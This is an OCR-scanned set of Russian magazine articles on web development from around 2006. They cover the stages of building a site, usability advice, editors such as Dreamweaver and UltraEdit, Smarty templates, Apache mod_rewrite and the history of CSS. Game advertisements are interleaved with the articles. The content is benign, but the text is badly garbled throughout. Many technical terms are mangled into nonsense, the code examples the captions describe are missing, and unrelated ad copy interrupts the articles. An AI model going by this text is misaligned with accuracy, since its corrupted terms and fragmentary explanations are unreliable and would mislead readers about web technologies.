ВАЛА НТМЕ-КОД. ТАКАЯ ТЕХНОЛОГИЯ СЕРЬЕЗНО ОБЛЕГЧИЛА РАБОТУ СОЗДАТЕЛЕЙ 

И ВЛАДЕЛЬЦЕВ САЙТОВ. НА САМОМ ДЕЛЕ ЭТАПЫ СОЗДАНИЯ САЙТОВ НЕ ОСОБЕННО 
ИЗМЕНИЛИСЬ С ТОГО ВРЕМЕНИ, В ОТЛИЧИЕ ОТ ТЕХНОЛОГИЙ, ИСПОЛЬЗУЕМЫХ ПРИ РА- 
БОТЕ НАД САЙТОМ. В ОТРЫВ УШЛИ ОПРЕДЕЛЕННЫЕ ЯЗЫКИ ПРОГРАММИРОВАНИЯ САЙ- 
ТОВ, КОТОРЫЕ СМОГЛИ УДОВЛЕТВОРИТЬ СОВРЕМЕННЫЕ ПОТРЕБНОСТИ ЗА СЧЕТ СВОЕЙ 
ГИБКОСТИ И ВОЗМОЖНОСТЕЙ. ПОЯВИЛИСЬ ПОЛЬЗОВАТЕЛЬСКИЕ ИНТЕРФЕЙСЫ, ОБЛЕГ- 
ЧАЮЩИЕ РАБОТУ С САЙТОМ, НО НЕ ТОЛЬКО В ПЛАНЕ ИНТУИТИВНОЙ ПОНЯТНОСТИ, 

НО И В ПЛАНЕ ВОЗМОЖНОСТИ СНИЗИТЬ НАГРУЗКУ НА КАНАЛ СВЯЗИ И ТЕМ САМЫМ 
УСКОРИТЬ ЕГО РАБОТУ. 


современный 
сайтострой 


КАК СЕГОДНЯ 
ПИШУТ САИТЫ 


НА РАЗРАБОТЧИКОВ СОВРЕМЕННЫХ 
САЙТОВ ВОЗЛОЖЕНА ДОСТАТОЧНО 
СЕРЬЕЗНАЯ ЗАДАЧА — СОЗДАТЬ САЙТ, 
КОТОРЫЙ ПРИВЛЕК БЫ ПОТЕНЦИАЛЬНО- 
ГО КЛИЕНТА И ПО ВОЗМОЖНОСТИ УДЕР- 
ЖИВАЛ ЕГО. САЙТ ДОЛЖЕН БЫТЬ УДОБ- 
НЫМ ДЛЯ ПОСЕТИТЕЛЕЙ И ДОЛЖЕН ЛЕГ- 
КО ИНДЕКСИРОВАТЬСЯ ПОИСКОВИКАМИ, 
ЧТОБЫ ПОТЕНЦИАЛЬНЫЙ ПОЛЬЗОВА- 
ТЕЛЬ СМОГ НАЙТИ ЕГО 


ВЯЧЕСЛАВ БАЕВ {no e-mai 


> переговоры. Обсуждается то, чему посвящен 
будущий сайт. Выясняются пожелания клиента. 

> анализ аудитории. Сайты можно разделить 
на несколько категорий. Пользователи, которые 
посещают сайты, тоже делятся на несколько групп 
по интересам. На этом этапе выясняется то, на ко- 
го рассчитан сайт. Без анализа аудитории невоз- 
можно сделать сайт эффективным. 

> составление технического задания. После 
выяснения всех вопросов составляется техниче- 
ское задание на разработку будущего сайта, 
прежде всего для того чтобы разные люди, соз- 
дающие сайт, точно узнали, что именно им 
необходимо сделать. Нужно заметить, что над соз- 
данием сайта нередко работают огромные коллек- 
тивы. Чтобы добиться максимальной эффективно- 
сти в работе на каждом конкретном этапе и в каж- 
дой его части, каждый участник проекта должен 
быть профессионалом в своем деле, а одному че- 
ловеку вряд ли удастся охватить все. 

> структура сайта похожа на карту навигации 
по сайту — отражен каждый раздел, каждая стра- 
ница будущего сайта. 


> оформление сайта. Этим поистине нелегким 
делом занимаются дизайнеры. Дизайн должен быть 
не только привлекательным, но и функциональным, 
он должен соответствовать принципам usability. Два 
последних требования в какой-то мере родственни- 
ки, и они не могут жить друг без друга. Создатели 
сайта должны добиться того, чтобы человек, при- 
шедший на сайт, мог, интуитивно ориентируясь, ис- 
пользовать его по прямому назначению. Перед тем 
как попасть на твой сайт, пользователь посетил не- 
мало других, и у него сложилось мнение о том, как 
должен выглядеть и работать хороший сайт. 
> программирование сайта состоит из двух 
этапов, тесно связанных между собой: верстка и 
написание программного обеспечения. 
> верстка. Качественная верстка подразуме- 
вает грамотную нарезку картинок, что позволяет 
снизить вес страницы (к примеру, хорошо свер- 
станная страница не должна весить более 200 Кб), 
и качественный HTML, позволяющий поисковикам 
легко индексировать сайт. 
> — написание ПО. Большинство сайтов оборудо- 
ваны собственными программными модулями, кото- 
рые, так сказать, оживляют сайт: форумы, гостевые 
книги, прайс-листы, чаты, блоги, СМ$ и многое-мно- 
гое другое. Качественно написанное ПО прежде 
всего не перегружает сервер, на котором лежит 
сайт, не позволяет произвести взлом сервера и, на- 
конец, не падает при каждом удобном случае. 
> тестирование сайта. Эта необходимая проце- 
дура производится как минимум два раза. Первый 
раз — чтобы выяснить, соответствуют ли все компо- 
ненты сайта ТЗ, и выявить ошибки. Второй — чтобы 
проконтролировать исправление этих ошибок. Так- 
же в первую стадию входит изабЙйЙу-тестирование: 
выясняется то, насколько уютно среднестатистиче- 
ский пользователь будет чувствовать себя при ра- 
боте с данным сайтом. Если по какой-то причине на 
сайте остались «неудобные» места, в интерфейс 
сайта вносятся дополнительные исправления. 
> подробнее о главном. Главное, на что нужно 
обратить внимание, — соответствие дизайна сайта со- 
глашениям no usability. Часто заходишь на сайт, и не- 
возможно понять суть и назначение сайта — вероят- 
нее всего, потенциальный пользователь просто уйдет. 
Кстати, разобраться с usability поможет ста- 
тистика посещаемости. Она показывает, просмо- 
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Программа UltraEdit — простенький блокнот, но с 
множеством функций. Одно из главных удобств — 
подсветка синтаксиса 
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Всем известный Adobe Photoshop необходим и разработчику дизайна, и верстальщику 


трел ли посетитель что-нибудь, кроме первой 
страницы. В самом простом приближении — коли- 
чество зашедших хостов и хитов должно быть при- 
мерно одинаковым. 

Советы, которые отражают основные требо- 
вания по usability: 


1 НА ГЛАВНОЙ СТРАНИЦЕ НАЗВАНИЕ 
КОМПАНИИ ИЛИ ЕЕ ЛОГОТИП (ЕСЛИ 
ОНИ ЕСТЬ) ДОЛЖНЫ БЫТЬ РАСПОЛО- 
ЖЕНЫ ТАК, ЧТОБЫ ИХ ЛЕГКО ЗАМЕЧА- 
ЛИ (КАК ПРАВИЛО, ЛЕВЫЙ ВЕРХНИЙ 
УГОЛ), И ДОЛЖНЫ ИМЕТЬ 
ПРИЕМЛЕМЫЕ РАЗМЕРЫ. 


2 НЕОБХОДИМО ВЫДЕЛИТЬ ПЕРВОСТЕ- 
ПЕННЫЕ ЗАДАЧИ САЙТА, ЧТОБЫ ПОЛЬ- 
ЗОВАТЕЛЬ ПОНИМАЛ, С ЧЕГО НАЧИ- 
НАТЬ ПРОСМОТР. ТЫ КАК БЫ НЕНА- 
ВЯЗЧИВО ПОДСКАЗЫВАЕШЬ ЕМУ, В 
КАКОМ НАПРАВЛЕНИИ НУЖНО ДВИ- 
ГАТЬСЯ ПРИ ПРОСМОТРЕ САЙТА 
(НЕОБХОДИМЫЕ ССЫЛКИ ДОЛЖНЫ 
БРОСАТЬСЯ В ГЛАЗА). 


з ЕСЛИ ПОСЕТИТЕЛЬ ЗАХОДИТ НА 
САЙТ, ЧТОБЫ ПРИОБРЕСТИ КАКОЙ-ТО 
ТОВАР ИЛИ ПРОСТО РАДИ СОТРУДНИ- 
ЧЕСТВА, ОН ИНТЕРЕСУЕТСЯ КОМПАНИ- 
ЕЙ И ТЕМ, КУДА ПОПАДУТ ЕГО ДЕНЬГИ. 
СООТВЕТСТВЕННО, НА ГЛАВНОЙ СТРА- 
НИЦЕ ЖЕЛАТЕЛЬНО РАСПОЛОЖИТЬ, 
КАК МИНИМУМ, ССЫЛКУ НА РАЗДЕЛ 

«О КОМПАНИИ» ИЛИ ПРОСТО ВЫДЕ- 
ЛИТЬ ЭТУ ИНФОРМАЦИЮ В ОБОСОБ- 
ЛЕННЫЙ БЛОК. ЕСЛИ ВОЗМОЖНО, СДЕ- 
ЛАТЬ ФОРМУ ОБРАТНОЙ СВЯЗИ. ЕСЛИ 
НЕОБХОДИМО — КОНТАКТНУЮ ИНФОР- 
МАЦИЮ РАЗМЕТИТЬ ТАКЖЕ НА ГЛАВ- 
НОЙ СТРАНИЦЕ. 


4 НАВИГАЦИЯ ДОЛЖНА БЫТЬ УДОБ- 
НОЙ: НАВИГАЦИОННЫЙ БЛОК РАСПО- 
ЛОЖЕН ТАК, ЧТО ЕГО ЛЕГКО ЗАМЕ- 


ТИТЬ, А ЭЛЕМЕНТЫ НАВИГАЦИИ СГРУП- 
ПИРОВАНЫ. 


5 ПОДБИРАЯ ТЕКСТ, ОРИЕНТИРУЙСЯ НА 
«СРЕДНЕГО» ЧЕЛОВЕКА, ЧТОБЫ У 
ПОЛЬЗОВАТЕЛЯ НЕ ВОЗНИКАЛО ЛИШ- 
НИХ ВОПРОСОВ. 


6 НЕ ИСПОЛЬЗУЙ ДЛЯ НАПИСАНИЯ МНО- 
ГО ВЫДЕЛЕНИЙ ТЕКСТА, ЧТОБЫ НЕ 
УСЛОЖНЯТЬ ЧТЕНИЕ. ТАКЖЕ НЕ СТАВЬ 
МНОГО ВОСКЛИЦАТЕЛЬНЫХ ЗНАКОВ. 


7 ССЫЛКИ ДОЛЖНЫ ВЫДЕЛЯТЬСЯ ВИЗУ- 
АЛЬНО, А ПРИ ИСПОЛЬЗОВАНИИ ССЫ- 
ЛОК ПО ТЕКСТУ НЕ НУЖНО ПИСАТЬ 
СЛОВО «ССЫЛКА». ПРОСТО ВЫБЕРИ 
ПОДХОДЯЩЕЕ СЛОВО ИЛИ ГРУППУ СЛОВ 
ПО ТЕКСТУ И ОБЪЕДИНИ ИХ В ССЫЛКУ. 


з НЕ ДОЛЖНО БЫТЬ ГОРИЗОНТАЛЬНОЙ 
ПРОКРУТКИ (ТОЛЬКО ЕСЛИ ТВОЙ 
КОНЦЕПТ ИЗНАЧАЛЬНО НЕ ЗАТОЧЕН 


ПОД ГОРИЗОНТАНЛЬНУЮ ПРОКРУТКУ, 
КАК НА www.bluevertigo.com.ar) , 


> работа дизайнера. \\!еБ-дизайнеры работают 
в основном в двух программах: Adobe Photoshop и 
Macromedia Flash. Изредка добавляют Adobe Шуи- 
strator и небольшие софтины для различных мел- 
ких задач, например создание иконки для сайта, 
изменение формата или размеров видеороликов. 
Также в комплекте с основными программами 
необходимо иметь подборку шрифтов (с програм- 
мой Adobe Type Manager) и клипартов. 

Крупные организации, занимающиеся \мер-ди- 
зайном, часто имеют в штате несколько дизайнеров. 
Одни создают идею макета и вырабатывают основ- 
ной стиль сайта, другие разрабатываю второстепен- 
ные страницы сайта, используя предложенный стиль. 

Макет разработанной страницы состоит из 
множества слоев, что позволяет легко вырезать 
из него нужные элементы. Основные границы или 
прослеживающиеся места установки элементов 
дизайна отмечаются на макете направляющими. 
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К сильным сторонам Dreamweaver можно отнести 
работу с кодом, отличный help, встроенный valida- 
tor, autocomplete 


Для контентной части макета используются толь- 
ко основные шрифты, поставляемые с операцион- 
ной системой (например Verdana, Tahoma, Arial), 
чтобы любой посетитель мог ознакомиться с ин- 
формацией (по крайней мере тот, у кого устано- 
влена русская или английская локализация опе- 
рационной системы) без искажения ее внешнего 
вида, и тем более потери ее части. 

> — верстка сайта. В первую очередь версталь- 
щик должен представить себе статичную картин- 
ку (макет) в виде готового сайта и заранее пред- 
усмотреть, какое содержание заказчик сможет 
залить на сайт. Верстка не должна разъезжаться 
(вне зависимости от контента). 

Тенденции времени требуют от разработчи- 
ков сайта (и от верстальщика) все большего 
и большего мастерства. Главная задача версталь- 
щика — сделать код, отвечающий нескольким 
требованиям: хорошая индексируемость, коррект- 
ное отображения в любых браузерах, возмож- 
ность модифицировать страницу без серьезных 
затруднений и вмешательства специалиста. По- 
следнее особенно актуально, если сайт работает 
под управлением СМ$. 

Для лучшей индексируемости сайта верстка 
должна соответствовать «правилам». К примеру, 


в DEFA Gruppe верстка производится по стандар- 
ту WSC, что помогает в дальнейшем, при измене- 
нии некоторых элементов дизайна, собрать все 
стили в одном месте в С$$. Немаловажно пра- 
вильно расставить теги Н1...Н5. Текст, который 
должен привлекать внимание, выделяется тегами 
<strong>. Обязательно присутствие атрибутов title 
на основных ссылках, прописывание атрибутов alt 
на картинках (которые, кстати, очень помогают 
пользоваться сайтом, если по какой-то причине 
невозможно подгрузить рисунки) и т.д. 

Данные требования успешно реализуются 
только лишь при ручной верстке, так как на се- 
годня не известно ни одной программы, способ- 
ной сделать полностью корректный код. С дру- 
гой стороны, такие программы помогут начи- 
нающим или тем, кто работает с очень большой 
массой кода. 

Основные программы — это Macromedia 
Dreamweaver и HomeSite. Оба редактора позволя- 
ют работать напрямую с кодом, подсвечивают его 
различным цветом, что значительно упрощает ра- 
боту. Я, к примеру, считаю лучшим редактором 
EditPlus — программа напоминает собой блокнот, 
но в ней намного больше функций. 

Если по каким-то объективным причинам 
на компьютере пользователя не отображается 
мультимедиасодержимое, посетитель должен 
получить возможность получить доступ к глав- 
ной информации. Это должно быть учтено при 
верстке сайта. Например, каждая НазП-вставка 
снабжается }ауазсирРом, который проверяет вер- 
сию НазН-модуля, установленного у посетителя. 
Если модуль отсутствует или не поддерживает 
нужную версию flash, загружается Рит|!-заглушка, 
реализующая в себе основной функционал этого 
flash’a. Если пользователь отключил javascript, 
заглушка загружается сразу. 
> программирование сайта. Программист соз- 
дает сердце сайта, его движок, который как раз 
и обеспечивает интерактивность страниц. Как 
правило, при создании крупных сайтов сейчас ис- 
пользуются компоненты: PHP, MySQL, XML, CSS 
и их комбинации. 


Perr Ще _ =-—-- 
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Macromedia Homesite — программа, ориентирован- 
ная прежде всего на работу с НТМ!Е-кодом 


> как работает современный сайт. РНР-мо- 
дуль обращается к базе данных (БД), получает 
структуру сайта и выводит ее через шаблониза- 
тор, затем отображает. Когда посетитель перехо- 
дит на внутренние страницы, движок определяет, 
где находится посетитель, и запускает свой опре- 
деленный модуль, параллельно загружая инфор- 
мацию из БД. 

К данной структуре работы сайта можно 
подключить СМ$ (система управления контен- 
том — прим. ред.), которая позволяет редактиро- 
вать не только данные на страницах, изменяя 
всего лишь данные в БД, но и изменять структу- 
ру сайта. СМ$ сама по себе является модульной, 
поэтому ее легко модернизировать. Например, 
для загрузки изображений на сайт очень часто 
используется модуль ibrowser, а для редактиро- 
вания внутреннего контентного наполнения с ис- 
пользованием HTML-koga — модуль FCKeditor. 
В последнее время появилось множество плат- 
ных и бесплатных СМ$. В качестве примера 
можно привести Mambo CMS — весьма удобная 
распространяемая бесплатно модульная система 
управления сайтом. 

Помимо упомянутого выше, web-nporpammn- 
сты пользуются любым удобным текстовым ре- 
дактором, способным сохранять файлы под “nix 
и в разных кодировках. Тот же UltraEdit широко 
распространен не только среди меБ-кодеров, но 
и среди обычных программистов © 


Macromedia Dreamweaver 8 ориентирован на работу и с НТМЕ-кодом, и с PHP, PERL, CSS, JavaScript 


Описание: 


Fahrenheit (также известный как Indigo 
Prophecy) — один из главных хитов 2005 года. 
Это интерактивный триллер, где вы играете и 
за детективов, и за подозреваемого — и каждое 
ваше действие, каждый выбор имеет значение. 
Интуитивное управление, и интерфейс; дове- 
денный до минимализма; помогают погрузить- 
ся в игру-с головой, а повороты сюжета про- 
a держат вас в напряжении до самой развязки: 


Fahrenheit (Indigo Prophecy) 


Описание: 


Разработчики Guild Wars взяли все лучшие 
черты из других MMORPG и смешали их та- 
ким образом, что вы забудете обо всем том, 
что до сих пор раздражало вас в многополь- 
зовательских играх. Вы можете-ветретить fo. 
вых друзей в городах и крепостях, сформиро- 
вать партию и тут жеготправиться выполнять 
задания вместе. В вашей партии всегда будет 
копии карты квеста. 


Guild Wars Special Edition (EURO) — Жанр: 


as Описание: 
АСЕ 


EMPIRES 


Age of Empires 1! погрузит вас в атмосферу 
XVI-XIX веков. Вам предстоит строить 
собственную империю, колонизировать и за- 
воевывать Северную и Южную Америку и 
участвовать в эпических войнах. Невиданный 
| уровень реализма и великолепно отображен- 
ное культурное разнообразие порадуют даже 
самых утонченных эстетов. 


САМАЯ ПОЛНАЯ 


ИНФОРМАЦИЯ OB ИГРАХ 


Age of Empires Ш 


* Огромное * Исчерпывающие *% Возможность 
количество — _ описания посмотреть 
скриншотов внутренности 

коробок 


een 
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Факс. : (495) 780-8824 
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шаблонизаторство 


АВТОНОМНАЯ 
РАБОТА ВЕРСТАЛЬЩИКА 
И ПРОГРАММИСТА 


СЕЙЧАС БОЛЬШУЮ ПОПУЛЯРНОСТЬ В 
М/ЕВ-ПРОГРАММИРОВАНИИ ЗАВОЕВАЛИ 
ТАК НАЗЫВАЕМЫЕ ШАБЛОНИЗАТОРЫ. 
ОНИ ПОЗВОЛЯЮТ ДОБИТЬСЯ WEB- 
ОТДЕЛЕНИЯ ПРИКЛАДНОЙ ЛОГИКИ И 
ДАННЫХ ОТ ЛОГИКИ ПРЕДСТАВЛЕНИЯ. 
ЭТО ОЧЕНЬ УДОБНО В СИТУАЦИЯХ, 
КОГДА ПРОГРАММИСТ И ВЕРСТАЛЬЩИК 
ШАБЛОНА — НЕ ОДИН И ТОТ ЖЕ 
ЧЕЛОВЕК 


ДМИТРИЙ ФОМИН 


{www.difocus.ru} 


Одна из таких систем — Smarty. Большая и мощ- 
ная система по обработке шаблонов, наличие 
многочисленных плагинов и возможность писать 
их самостоятельно. Некоторые называют Smarty 
лучшим шаблонизатором, написанным на РНР. 
3 логика. Шаблоны могут содержать в себе ло- 
гику, но лишь при условии, что эта логика необхо- 
дима для правильного представления данных. Та- 
кие задачи, как подключение других шаблонов, 
чередующаяся окраска строчек в таблице, приве- 
дение букв к верхнему регистру, циклический про- 
ход по массиву для его отображения и т.д. — все 
это является примером логики представления. 
> директивы. Если коротко, Smarty может об- 
работать файл-шаблон со специальными директи- 
вами. По умолчанию переменные в Smarty заклю- 
чаются в фигурные скобки {}, а у самой перемен- 
ной, как и принято в РНР, ставится знак доллара. 
Для того чтобы воспользоваться Smarty, 
нужно прежде всего иметь сам Smarty, который 
можно скачать отсюда — http://smarty.php.net. 
> — встроенные плагины. В Smarty есть множе- 
ство встроенных плагинов, которые помогают 
программисту сократить время разработки. 
Благодаря им можно не делать проверки input по- 
лей, не обрезать строки по словам, есть возмож- 
ность генерировать з@ес-боксы автоматически и 
не использовать, к примеру, внутренние директи- 
вы {foreach}. 
> модификатор escape. Когда создаешь фор- 
мы при помощи Smarty, для юзеров, которые непра- 
вильно вводят поля данных формы, например ка- 
вычки или служебные символы HTML, можно обра- 
ботать данные как обычно при помощи РНР, а мож- 
но использовать внутренние возможности Smarty. 


объект $smarty, обрабатываю- & 
щий файл и впихивающий ты 
в него переменные, получен- 
ные в рИр-скрипте 


кеш обработанного файла 
(чтобы не обрабатывать 
заново, если файл-шаблон 
не изменился) 


проверка данных при помощи Smarty 


Часто, когда e-mail оставляют на сайте в чистом 
виде, его обнаруживают спаммеры, сканирующие 
сайты. Потом ничего хорошего не будет: выучи 
английский, увеличь член, купи виагру.... Езсаре 


если это провернуть с е-та?ом Васюни, выйдет 
следующее 


> — функция html_options. Теперь о селектбоксе 
в форме, который часто используется. 


<? 


/скрипт, выполняющий 
//определенные действия 


2> 


{$name} {$time} 


Наглядная блок-схема работы Smarty 
и РНР-скрипта 


можно использовать {foreach} 


Еще нужно добавить if, чтобы вывести значение по 
умолчанию. Это удлинит код строчек на пять. Но 
лучше и удобнее использовать htmi_options, для 
чего нужно при формировании массива в РНР сде- 
лать хэш и дать «съесть» его смарти. 


со значением по умолчанию 


теперь в шаблоне вывода автоматически выберет- 
ся значение 


> — функция cycle. Часто при генерации прайс- 
листов или длинных таблиц с наименованиями 
требуется решить проблему читаемости. Для 
этого умные люди придумали чередовать цвет 
строк записей: серая полоска, белая полоска 
ит.д. В смарти это делается без проблем! 


«смарти › 


РАЗРАБОТЧИК БОЛЬШИХ ПРОЕКТОВ 
НИКОГДА НЕ ЗНАЕТ, ЧТО МОЖЕТ 
ПОНАДОБИТЬСЯ, НО ПРИ 
ОПРЕДЕЛЕННЫХ НАВЫКАХ 
БОЛЬШИНСТВО ПРОБЛЕМ МОЖНО 
РЕШИТЬ ОЧЕНЬ ПРОСТО С ПОМОЩЬЮ 
SMARTY. ОГРОМНОЕ КОЛИЧЕСТВО 
ПОЛЕЗНОЙ ИНФОРМАЦИИ 
(ОСОБЕННО ДЛЯ ТЕХ, КТО ВПЕРВЫЕ 
СТОЛКНУЛСЯ С ШАБЛОНИЗАТОРАМИ 
И SMARTY) МОЖНО НАЙТИ 

НА САЙТЕ http://smarty.php.net 


вывод чередующихся значений цвета бэкграунда 


> создание plug-in'a. Все плагины Smarty со- 
держатся в каталоге plugins. По названиям суще- 
ствующих там файлов можно судить, что есть два 
вида плагинов. Модификаторы-директивы, кото- 
рые работают с одним параметром строкой и вы- 


полняют с ней определенные действия. 


пример модификатора-директивы, делающего все 
символы строки прописными 


использование модификатора в коде 


Второй вид плагинов — функция. Из названия по- 
нятно, что это обработчик любых данных. 


пример обработки массива 


объединение строковых представлений элементов 
массива, полученного из РНР-скрипта 


И это всего лишь малая толика из доступного и 
возможного при помощи шаблонов. Очевидно, что 
будущее за автоматизацией и упрощением. Так 
что дерзай! И не забывай, что Smarty — не 
единственный шаблонизатор © 


MOD_REWRITE 


Этот модуль известного web-cepBepa Apache 
придуман в 1996 году и был подарен The 
Apache Group в июле 1997. Он представляет 
собой основанный на правилах механизм 
(синтаксический анализатор с применением 
регулярных выражений), выполняющий URL 
преобразования на лету. Модуль поддержи- 
вает неограниченное количество правил и 
связанных с каждым правилом условий, ре- 
ализуя действительно гибкий и мощный ме- 
ханизм управления URL. URL преобразова- 
ния могут использовать разные источники 
данных, например переменные сервера, пе- 
ременные окружения, НТТР-заголовки, вре- 
мя и даже запросы к внешним базам данных 
в разных форматах для получения URL нуж- 
ного тебе вида. 

Порядок набора правил важен! Просмат- 
ривается текст строчка за строчкой и, когда 
находится соответствие конкретному пра- 
вилу, производится просмотр соответству- 
ющих этому правилу условий. 
для чего нужен mod_rewrite. 
Mod_rewrite часто используется при созда- 
нии так называемых ЧПУ (человекоподоб- 
ный URL). Например, возникает такая ситу- 


ация: есть скрипт новостной ленты и он по- 
казывает список новостей, получая пара- 
метром дату: /news.php?date=21-12-2006. A 
хочется красивый и сказочный URL, типа та- 
кого: /news/2006/12/21. И mod-rewrite помо- 
жет — через .htaccess. 


RewriteRule 


„Массезз, который поможет сделать URL 
красивым 


Еще один пример из области поисковой 
оптимизации. Хочется, чтобы сайт в Яндек- 
се был без www — коротко и ясно. Тогда 
можно при помощи mod-rewrite редирек- 
тить Яндекс или другой поисковик на стра- 
ницу без www. 


редирект на страницу без www 


таким образом, mod_rewrite помо- 
гает делать URLs красивыми и статичными. 
Сейчас мы называем это ЧПУ (человекопо- 
добный URL). 


———> RewriteRule 


-> RewriteRule 


Шаблон Подстановка «- 
—__7 Сравнимая строка ——> Условие 
Шаблон | | > Подстановка— 
Преобразованный 7 
URL 
Шаблон Подстановка 


Блок-схема наглядно демонстрирует 
последовательность выполнения ко- 


манд при обработке набора правил 
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без единого гвоздя 
средствами CSS 


БРУТАЛЬНОЕ РУКОВОДСТВО ПО ЭФФЕКТИВНОМУ 


ИСПОЛЬЗОВАНИЮ CSS 


Эта публикация не является академическим тру- 
дом и не претендует на полноту и всесторонность. 
Она отражает мой опыт и призывает умного чита- 
теля не допускать ошибки, сделанные когда-то 
другими людьми. Несмотря на то, что сейчас прак- 
тически ни один сайт не обходится без CSS, по- 
настоящему грамотно эту технологию используют 
немногие. Есть стандарты, куча хороших доков, 
мануалов и пудовых книг. Существует даже иллю- 
зия того, что сайты работают правильно и выгля- 
дят так, как нужно. Однако стоит разработчику 
или тестировщику открыть альтернативный брау- 
зер, перегрузиться в альтернативную операционку 
или сесть за компьютер, работающий на «иной» 
платформе, — как его озаряет откровение. Поче- 
му? Дело в том, что различные браузеры по-свое- 
му трактуют стили, которые ты так тщательно от- 


ТЕХНОЛОГИЯ CSS (CASCADING STYLE SHEETS) 
ПРЕДНАЗНАЧЕНА ДЛЯ ОФОРМЛЕНИЯ СТРУКТУРИРО- 
ВАННЫХ ДОКУМЕНТОВ В ФОРМАТАХ HTML, XHTML, 
XML. МЫ РАССМОТРИМ СУТЬ ДАННОЙ ТЕХНОЛОГИИ 
И ОСОБЕННОСТИ ЕЕ ИСПОЛЬЗОВАНИЯ HA WEB'E. 
НАЧИНАЮЩИМ ИНТЕРНЕТ-РАЗРАБОТЧИКАМ 


ЭТА СТАТЬЯ ПОМОЖЕТ ОБОЙТИ ЧНГ 


(ЧАСТО НАСТУПАЕМЫЕ ГРАБЛИ) И СОЗДАТЬ ДИ- 
ЗАЙН, ОДИНАКОВО ПОДХОДЯЩИЙ ПОД РАЗНЫЕ 


ТИПЫ БРАУЗЕРОВ 


ВЛАДИМИР СИНЕЛЬНИКОВ 
{vlad @ оп пеЕ Гу . ги } 


тачивал, руководствуясь благими стремлениями 
сделать сайт-конфетку. В большей мере баги при 
работе со стилями относятся к устаревшим брау- 
зерам, однако некоторые вполне современные 
программы не перестают удивлять меб-дизайне- 
ров. Но об этом чуть позже... Я уже слышу злобное 
ворчание поборников стандартов и фанатов ва- 
лидных сайтов. Спешу провозгласить: «плохих и 
дурацких браузеров» нет! Стандарты хороши там, 
где их соблюдение не доставляет неудобства конеч- 
ному потребителю — пользователю сайта. В ситуа- 
ции, когда сколько-нибудь значительная часть ин- 


ПОДРОБНЕЕ О ПЛЮСАХ И МИНУСАХ ХАКОВ 
БЛОЧНОЙ МОДЕЛИ МОЖНО ПРОЧЕСТЬ ЗДЕСЬ: 
WWW.INFO.COM.PH/~ETAN/W3PANTHEON/STYLE/ABMH.HTML 


тернет-аудитории продолжает пользоваться CMOT- 
релками, не поддерживающими (полностью) реко- 
мендации W3C, ммеБ-девелоперам не остается ниче- 
го, кроме как учитывать особенности этих программ 
при разработке своих проектов. Итак, обратим взо- 
ры в далекое, по меркам отрасли, прошлое. 
> = экскурс в историю. В начале было слово, точ- 
нее — целый язык, отцом которого стал англичанин 
Тим Бернерс-Ли. Язык предназначался для размет- 
ки и элементарного структурирования гипертексто- 
вых документов и был назван НТМЕ. Вместе с ним 
были разработаны первые web-cepBep и браузер, 
что ознаменовало рождение web’a — всемирной 
паутины в том виде, в котором мы привыкли ви- 
деть ее. До тех пор пока этим достижением науч- 
ной мысли пользовались его создатели, ученые, 
все было замечательно. 

Через пару лет после рождения web’a им за- 
интересовался Большой Бизнес, узрев в нем по- 
тенциальные сверхприбыли. Скучный «первород- 


ный» язык разметки миер-страниц в силу скудости 
оформительских возможностей не отвечал расту- 
щим потребностям, и HTML начал обрастать до- 
полнениями, которые позволили перевоплотить 
внешний вид сайтов из унылых листовок в красоч- 
ные проспекты. В индустрию потянулись новые 
люди — дизайнеры, и постепенно стало забывать- 
ся слово «web-macTep», которым на заре интерне- 
та называли человека, разрабатывающего и под- 
держивающего сайт. 

Тем временем каждый участник «браузер- 
ной войны», уже начавшейся к тому времени, по- 
своему трактовал спецификации HTML, выпускае- 
мые буквально ежегодно. Девелоперы, стремясь 
использовать дизайнерские возможности HTML, 
стали «пускаться во все тяжкие» и с удивлением 
обнаружили, что вид их творений отличается при 
просмотре в разных браузерах. Приверженцы 
конкретной смотрелки не парились, ставили на 
своем сайте «Best viewed with...» и успокаивались 
на достигнутом. 

Вавилонский бардак все увеличивался. Чтобы 
устаканить его, была призвана новая технология — 
CSS (первая спецификация принята W3C в конце 
1996 года), в русской интерпретации ее называют 
каскадными таблицами стилей (Cascading Style 
Sheets). Кто и почему дал ей имя «таблицы», сей- 
час, пожалуй, никто не вспомнит, но идея отделить 
структуру документа от его оформления была здра- 
вой. Четвертую версию HTML, которая с незначи- 
тельными поправками действует и сейчас, в угоду 
CSS избавили от чисто «оформительских» тегов, 
со временем ставших лишними, и в ней пересмот- 
рели ряд свойств блочных и строчных элементов. 

Передача описания внешнего вида докумен- 
тов на откуп С$$ стала действительно хорошей 
новостью для разработчиков, но не обошлось и 
без плохих новостей: на практике производители 
браузеров продолжили «соревнование» лебедя, 
рака и щуки, повсеместно отступая от специфика- 
ций при реализации С$$ в своих продуктах. 

На данном поприще особенно отличилась 
Microsoft, опьяненная выигранной войной браузе- 


Статистика использования браузеров (IV квартал 
2005 года, по данным COUNTER.COM) 


Microsoft Internet Explorer 6 83% 
Microsoft Internet Explorer 5 3% 
Mozilla/Firefox 8% 
Safari 2% 
Unknown 1% 
Opera x.x 1% 
Netscape 7 1% 
Netscape compatible <1% 
Microsoft Internet Explorer 4.x <1% 
Netscape 4.x <1% 
Konqueror <1% 
Netscape 6 <1% 


блочная модель в Internet Explorer 
граница: 1Орх 


отступ: 1Орх 


содерижимое 6n0Ka:100px 


-box{width:100px; padding:10px; border:10px} 


ров. Эта корпорация, пользуясь статусом MOHO- 
полиста, предложила свое собственное видение 
стилей на web’e, дополнив реализацию CSS в 
своих продуктах нестандартными селекторами и 
свойствами. Ими тут же начали пользоваться 
м/еБ-дизайнеры без оглядки на прочие програм- 
мы-бродилки. 

Субъективность производителей браузеров 
в реализации CSS и HTML заставила web-geBeno- 
перов применять всяческие хитрости для обеспе- 
чения (в идеале) одинакового отображения сайтов 
в разных программах. Ситуация остается такой и 
сейчас — не случайно многие из современных 
крупных проектов не проходят валидацию, что 
совсем не показатель некомпетентности, а дань 
совместимости. Однако не все так плохо, как мо- 
жет показаться. Крепнут колонны поборников 
web-cTaHfapTosB и среди сайтостроителей, и в ста- 
не разработчиков браузеров, что не может не ра- 
довать. Отдельно хочется упомянуть такого игрока 
браузерного рынка, как Орега. Последняя версия 
этой программы предлагается по-настоящему без- 
возмездно, к тому же горячие норвежские парни 
(наконец-то!) провозглашают полную поддержку 
всех действующих стандартов. 

Распространено мнение о том, что перво- 
проходцами на ниве поддержки спецификаций 
W3C в своих продуктах являются браузеры 
Mozilla. Однако это не так: здесь, как ни странно, 
первыми отличились люди из MacBU, разработав- 
шие движок Tasman для рендеринга HTML. Он 60- 
лее-менее сносно поддерживал \меб-стандарты и 
